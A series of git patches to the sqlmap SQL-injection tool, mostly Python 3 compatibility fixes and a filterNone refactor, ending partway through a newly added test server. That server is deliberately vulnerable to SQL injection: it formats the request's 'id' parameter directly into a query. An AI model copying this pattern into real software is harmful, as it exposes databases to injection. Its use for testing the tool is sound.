"1.3.3.76" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 347118990be..d29f688effe 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -89,7 +89,7 @@ import re import sys -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range try: diff --git a/thirdparty/chardet/eucjpprober.py b/thirdparty/chardet/eucjpprober.py index 2d4944c2709..44995ed93b8 100644 --- a/thirdparty/chardet/eucjpprober.py +++ b/thirdparty/chardet/eucjpprober.py @@ -33,7 +33,7 @@ from .jpcntx import EUCJPContextAnalysis from .mbcssm import EUCJPSMModel -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range class EUCJPProber(MultiByteCharSetProber): diff --git a/thirdparty/chardet/mbcharsetprober.py b/thirdparty/chardet/mbcharsetprober.py index 45487f2d055..562a8cee6ae 100644 --- a/thirdparty/chardet/mbcharsetprober.py +++ b/thirdparty/chardet/mbcharsetprober.py @@ -31,7 +31,7 @@ from . import constants from .charsetprober import CharSetProber -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range class MultiByteCharSetProber(CharSetProber): diff --git a/thirdparty/chardet/sjisprober.py b/thirdparty/chardet/sjisprober.py index 98d6ecac80f..9a3186cb256 100644 --- a/thirdparty/chardet/sjisprober.py +++ b/thirdparty/chardet/sjisprober.py @@ -33,7 +33,7 @@ from .mbcssm import SJISSMModel from . import constants -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range class SJISProber(MultiByteCharSetProber): diff --git a/thirdparty/chardet/utf8prober.py b/thirdparty/chardet/utf8prober.py index edbac120079..95bab185c66 100644 --- a/thirdparty/chardet/utf8prober.py +++ b/thirdparty/chardet/utf8prober.py @@ -31,7 +31,7 @@ from .codingstatemachine import CodingStateMachine from .mbcssm import UTF8SMModel -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range ONE_CHAR_PROB = 0.5 diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 80897363291..675916250d3 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -109,7 +109,7 @@ def _show_debug_messages(): import sys, types, copy, re, random -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range # monkeypatch to fix http://www.python.org/sf/803422 :-( diff --git a/thirdparty/fcrypt/fcrypt.py b/thirdparty/fcrypt/fcrypt.py index c7ff3d063e3..ef601adb811 100644 --- a/thirdparty/fcrypt/fcrypt.py +++ b/thirdparty/fcrypt/fcrypt.py @@ -121,7 +121,7 @@ import string, struct, sys -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range _ITERATIONS = 16 diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py index c907cbda4d8..64bf5e39b1f 100644 --- a/thirdparty/gprof2dot/gprof2dot.py +++ b/thirdparty/gprof2dot/gprof2dot.py @@ -32,7 +32,7 @@ import sys import xml.parsers.expat -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range try: diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py index edbb486b7d9..a4aa0ff4da6 100644 --- a/thirdparty/xdot/xdot.py +++ b/thirdparty/xdot/xdot.py @@ -39,7 +39,7 @@ import pango import pangocairo -if sys.version_info.major > 2: +if sys.version_info >= (3, 0): xrange = range # See http://www.graphviz.org/pub/scm/graphviz-cairo/plugin/cairo/gvrender_cairo.c From 89d13aaee45db6aade545da299813eec18e7207e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 29 Mar 2019 01:25:34 +0100 Subject: [PATCH 201/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e170238f465..8f62d27ed30 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.76" +VERSION = "1.3.3.77" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index d29f688effe..c3734494fe2 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -835,6 +835,7 @@ def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, s.append(text) if prettyPrint: s.append("\n") + return ''.join(s) #Soup methods @@ -1226,8 +1227,8 @@ def __getattr__(self, methodName): def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" - return self.SELF_CLOSING_TAGS.has_key(name) \ - or self.instanceSelfClosingTags.has_key(name) + return name in self.SELF_CLOSING_TAGS \ + or name in self.instanceSelfClosingTags def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) @@ -1319,7 +1320,7 @@ def _smartPop(self, name): nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None - isResetNesting = self.RESET_NESTING_TAGS.has_key(name) + isResetNesting = name in self.RESET_NESTING_TAGS popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): @@ -1534,7 +1535,7 @@ class BeautifulSoup(BeautifulStoneSoup): BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): - if not kwargs.has_key('smartQuotesTo'): + if 'smartQuotesTo' not in kwargs: kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) From dbd93e267000e4fce886dab8abc3fd336a48f73b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 29 Mar 2019 02:28:16 +0100 Subject: [PATCH 202/800] Minor refactoring (drei stuff) --- extra/dbgtool/dbgtool.py | 1 - lib/controller/checks.py | 5 +++-- lib/core/agent.py | 3 ++- lib/core/common.py | 42 +++++++++++++++++++++++++----------- lib/core/option.py | 7 +++--- lib/core/settings.py | 2 +- lib/request/basic.py | 3 ++- lib/request/connect.py | 11 +++++----- lib/request/httpshandler.py | 3 ++- lib/request/inject.py | 3 ++- lib/utils/hash.py | 4 ++-- lib/utils/pivotdumptable.py | 5 +++-- plugins/generic/databases.py | 3 ++- sqlmap.py | 3 ++- 14 files changed, 60 insertions(+), 35 deletions(-) diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 2e7bd095d47..30ae5e83784 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -11,7 +11,6 @@ import os import sys -import struct from optparse import OptionError from optparse import OptionParser diff --git a/lib/controller/checks.py b/lib/controller/checks.py index cb46ef879df..f8a4e5fc1c6 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -21,6 +21,7 @@ from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import extractTextTagContent +from lib.core.common import filterNone from lib.core.common import findDynamicContent from lib.core.common import Format from lib.core.common import getFilteredPageContent @@ -581,7 +582,7 @@ def genCmpPayload(): else: errorSet = set() - candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))) + candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)) if candidates: candidates = sorted(candidates, key=lambda _: len(_)) @@ -595,7 +596,7 @@ def genCmpPayload(): logger.info(infoMsg) if not any((conf.string, conf.notString)): - candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))) + candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)) if candidates: candidates = sorted(candidates, key=lambda _: len(_)) diff --git a/lib/core/agent.py b/lib/core/agent.py index 9fab4004c93..fd79a217074 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -9,6 +9,7 @@ from lib.core.common import Backend from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isDBMSVersionAtLeast @@ -106,7 +107,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place == PLACE.URI: origValue = origValue.split(kb.customInjectionMark)[0] else: - origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0) + origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) origValue = origValue[origValue.rfind('/') + 1:] for char in ('?', '=', ':', ',', '&'): if char in origValue: diff --git a/lib/core/common.py b/lib/core/common.py index 7bdec65e081..2458bf4d1a1 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -7,6 +7,7 @@ import binascii import codecs +import collections import contextlib import copy import distutils @@ -228,7 +229,7 @@ def getDbms(versions=None): if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() - return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filter(None, versions))) + return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions))) @staticmethod def getErrorParsedDBMSes(): @@ -501,7 +502,7 @@ def getIdentifiedDbms(): @staticmethod def getVersion(): - versions = filter(None, flattenValue(kb.dbmsVersion)) + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isNoneValue(versions): return versions[0] else: @@ -509,7 +510,7 @@ def getVersion(): @staticmethod def getVersionList(): - versions = filter(None, flattenValue(kb.dbmsVersion)) + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isNoneValue(versions): return versions else: @@ -787,7 +788,7 @@ def getManualDirectories(): else: targets.add('.'.join(_[:-1])) - targets = filter(None, targets) + targets = filterNone(targets) for prefix in BRUTE_DOC_ROOT_PREFIXES.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]): if BRUTE_DOC_ROOT_TARGET_MARK in prefix and re.match(IP_ADDRESS_REGEX, conf.hostname): @@ -1473,7 +1474,7 @@ def parseTargetUrl(): errMsg += "in the hostname part" raise SqlmapGenericException(errMsg) - hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port"))) + hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port"))) conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https" conf.path = urlSplit.path.strip() @@ -2389,13 +2390,13 @@ def getUnicode(value, encoding=None, noneToNull=False): return value elif isinstance(value, six.binary_type): # Heuristics (if encoding not explicitly specified) - candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) + candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in ('<', '>')): pass elif any(_ in value for _ in (":\\", '/', '.')) and '\n' not in value: - candidates = filter(None, (encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) + candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) elif conf.get("encoding") and '\n' not in value: - candidates = filter(None, (encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) + candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) for candidate in candidates: try: @@ -2837,7 +2838,7 @@ def extractTextTagContent(page): except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") - return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) + return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) def trimAlphaNum(value): """ @@ -2996,6 +2997,21 @@ def filterControlChars(value, replacement=' '): return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) +def filterNone(values): + """ + Emulates filterNone([...]) functionality + + >>> filterNone([1, 2, "", None, 3]) + [1, 2, 3] + """ + + retVal = values + + if isinstance(values, collections.Iterable): + retVal = [_ for _ in values if _] + + return retVal + def isDBMSVersionAtLeast(version): """ Checks if the recognized DBMS version is at least the version @@ -3537,7 +3553,7 @@ def maskSensitiveData(msg): retVal = getUnicode(msg) - for item in filter(None, (conf.get(_) for _ in SENSITIVE_OPTIONS)): + for item in filterNone(conf.get(_) for _ in SENSITIVE_OPTIONS): regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) @@ -3640,14 +3656,14 @@ def _(value): regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape"))) if regex != payload: - if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check + if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) - parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) + parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) if regex.startswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) @@ -4482,7 +4498,7 @@ def resetCookieJar(cookieJar): logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) - lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#'))) + lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) diff --git a/lib/core/option.py b/lib/core/option.py index 8744c1951d4..62cb66cc0fd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -33,6 +33,7 @@ from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import getUnicode +from lib.core.common import filterNone from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth @@ -784,7 +785,7 @@ def _setTamperingFunctions(): if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": found = True kb.tamperFunctions.append(function) - function.func_name = module.__name__ + function.__name__ = module.__name__ if check_priority and priority > last_priority: message = "it appears that you might have mixed " @@ -880,7 +881,7 @@ def _setPreprocessFunctions(): found = True kb.preprocessFunctions.append(function) - function.func_name = module.__name__ + function.__name__ = module.__name__ break @@ -1113,7 +1114,7 @@ def _setHTTPHandlers(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) + handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: diff --git a/lib/core/settings.py b/lib/core/settings.py index 8f62d27ed30..1b88657821a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.77" +VERSION = "1.3.3.78" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 255c318af53..2f112d6ed88 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -16,6 +16,7 @@ from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import getUnicode @@ -100,7 +101,7 @@ def title(self): if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: - conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)) + conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE message += "The target URL provided its own cookies within " diff --git a/lib/request/connect.py b/lib/request/connect.py index 3d2e354b95f..ed782d65cda 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -32,6 +32,7 @@ class WebSocketException(Exception): from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader @@ -600,7 +601,7 @@ class _(dict): except: pass finally: - page = page if isinstance(page, unicode) else getUnicode(page) + page = getUnicode(page) code = ex.code status = getSafeExString(ex) @@ -758,7 +759,7 @@ class _(dict): page, responseHeaders, code = function(page, responseHeaders, code) except Exception as ex: errMsg = "error occurred while running preprocess " - errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) threadData.lastPage = page @@ -857,11 +858,11 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) except Exception as ex: errMsg = "error occurred while running tamper " - errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not isinstance(payload, six.string_types): - errMsg = "tamper function '%s' returns " % function.func_name + errMsg = "tamper function '%s' returns " % function.__name__ errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) @@ -1095,7 +1096,7 @@ def _randomizeParameter(paramString, randomParameter): else: query = None - for item in filter(None, (get, post if not kb.postHint else None, query)): + for item in filterNone((get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index dcb71abb0c2..2a98d6abad0 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -9,6 +9,7 @@ import re import socket +from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import kb @@ -25,7 +26,7 @@ except ImportError: pass -_protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) +_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) class HTTPSConnection(_http_client.HTTPSConnection): """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 5555e962d3f..eddab9b7f7f 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -17,6 +17,7 @@ from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve @@ -431,7 +432,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: - _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items()))) + _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 5a2a9f0843a..03c5c4db196 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -956,7 +956,7 @@ def dictionaryAttack(attack_dict): if regex and regex not in hash_regexes: hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].func_name + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: @@ -1084,7 +1084,7 @@ def dictionaryAttack(attack_dict): if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES - infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name + infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 902e4d51cf5..0b07907d8b5 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -11,6 +11,7 @@ from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend +from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isNoneValue @@ -67,7 +68,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths[column] = 0 entries[column] = BigArray() - colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: @@ -141,7 +142,7 @@ def _(column, pivotValue): if column == colList[0]: if isNoneValue(value): try: - for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): + for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 76f125c1fae..8e2ee551499 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -9,6 +9,7 @@ from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange @@ -490,7 +491,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod else: return kb.data.cachedColumns - tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: diff --git a/sqlmap.py b/sqlmap.py index f5976c55052..bb119e06a26 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -42,6 +42,7 @@ from lib.core.common import checkPipedInput from lib.core.common import createGithubIssue from lib.core.common import dataToStdout + from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import maskSensitiveData @@ -362,7 +363,7 @@ def main(): os.remove(filepath) except OSError: pass - if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))): + if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_'))): shutil.rmtree(kb.tempDir, ignore_errors=True) if conf.get("hashDB"): From 23ff1cadab46ae764b824280f8770a20637886b4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 29 Mar 2019 11:04:58 +0100 Subject: [PATCH 203/800] Adding SQLi vulnserver (for testing purposes) --- extra/vulnserver/__init__.py | 8 ++ extra/vulnserver/vulnserver.py | 148 +++++++++++++++++++++++++++++++++ lib/core/settings.py | 4 +- 3 files changed, 158 insertions(+), 2 deletions(-) create mode 100644 extra/vulnserver/__init__.py create mode 100644 extra/vulnserver/vulnserver.py diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py new file mode 100644 index 00000000000..c654cbef7f4 --- /dev/null +++ b/extra/vulnserver/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py new file mode 100644 index 00000000000..85f064814a3 --- /dev/null +++ b/extra/vulnserver/vulnserver.py @@ -0,0 +1,148 @@ +#!/usr/bin/env python + +""" +vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) + +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import re +import sqlite3 +import sys +import traceback + +if sys.version_info >= (3, 0): + from http.client import FOUND + from http.client import NOT_FOUND + from http.client import OK + from http.server import BaseHTTPRequestHandler + from http.server import HTTPServer + from socketserver import ThreadingMixIn + from urllib.parse import parse_qs + from urllib.parse import unquote_plus +else: + from BaseHTTPServer import BaseHTTPRequestHandler + from BaseHTTPServer import HTTPServer + from httplib import FOUND + from httplib import NOT_FOUND + from httplib import OK + from SocketServer import ThreadingMixIn + from urlparse import parse_qs + from urllib import unquote_plus + +SCHEMA = """ + CREATE TABLE users ( + id INTEGER, + name TEXT, + surname TEXT + ); + INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); + INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); + INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); + INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header'); + INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); +""" + +LISTEN_ADDRESS = "localhost" +LISTEN_PORT = 8440 + +_conn = None +_cursor = None +_server = None + +def init(): + global _conn + global _cursor + + _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + _cursor = _conn.cursor() + + _cursor.executescript(SCHEMA) + +class ThreadingServer(ThreadingMixIn, HTTPServer): + def finish_request(self, *args, **kwargs): + try: + HTTPServer.finish_request(self, *args, **kwargs) + except Exception: + traceback.print_exc() + +class ReqHandler(BaseHTTPRequestHandler): + def do_REQUEST(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + params = {} + + if query: + params.update(parse_qs(query)) + + if hasattr(self, "data"): + params.update(parse_qs(self.data)) + + for key in params: + if params[key]: + params[key] = params[key][-1] + + self.url, self.params = path, params + + if self.url == '/': + if "id" not in params: + self.send_response(FOUND) + self.send_header("Connection", "close") + self.send_header("Location", "/?id=1") + self.end_headers() + else: + self.send_response(OK) + self.send_header("Content-type", "text/html") + self.send_header("Connection", "close") + self.end_headers() + + try: + _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", "")) + + output = "<b>SQL results:</b>\n" + output += "<table border=\"1\">\n" + for row in _cursor.fetchall(): + output += "<tr>" + for value in row: + output += "<td>%s</td>" % value + output += 